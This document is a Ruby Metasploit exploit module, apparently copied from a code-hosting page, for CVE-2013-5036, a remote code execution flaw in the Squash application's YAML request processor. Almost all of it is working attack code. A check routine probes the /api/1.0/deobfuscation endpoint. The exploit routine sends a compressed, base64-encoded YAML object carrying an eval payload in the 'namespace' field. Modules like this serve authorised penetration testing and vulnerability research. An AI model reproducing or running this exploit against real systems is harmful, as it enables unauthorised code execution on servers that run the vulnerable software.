76 lines
2.4 KiB
Ruby
76 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'zlib'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Squash YAML Code Execution',
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'Description' => %q{
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This module exploits a remote code execution vulnerability in the
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YAML request processor of the Squash application.
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},
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'Author' =>
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[
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'Charlie Eriksen' # Discovery, initial exploit
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
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[ 'OSVDB', '95992'],
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[ 'CVE', '2013-5036']
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],
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'Platform' => 'ruby',
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'Arch' => ARCH_RUBY,
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'Privileged' => false,
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'Targets' => [ ['Automatic', {} ] ],
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'DisclosureDate' => 'Aug 06 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])
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], self.class)
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end
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def check
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response = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
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'method' => 'POST',
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'ctype' => 'application/json',
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})
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if response.code == 422
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print_status("Got HTTP 422 result, target may be vulnerable")
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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code = Rex::Text.encode_base64(payload.encoded)
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yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
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"'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
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": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
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payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
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data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
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'method' => 'POST',
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'ctype' => 'application/json',
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'data' => data
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})
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end
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end
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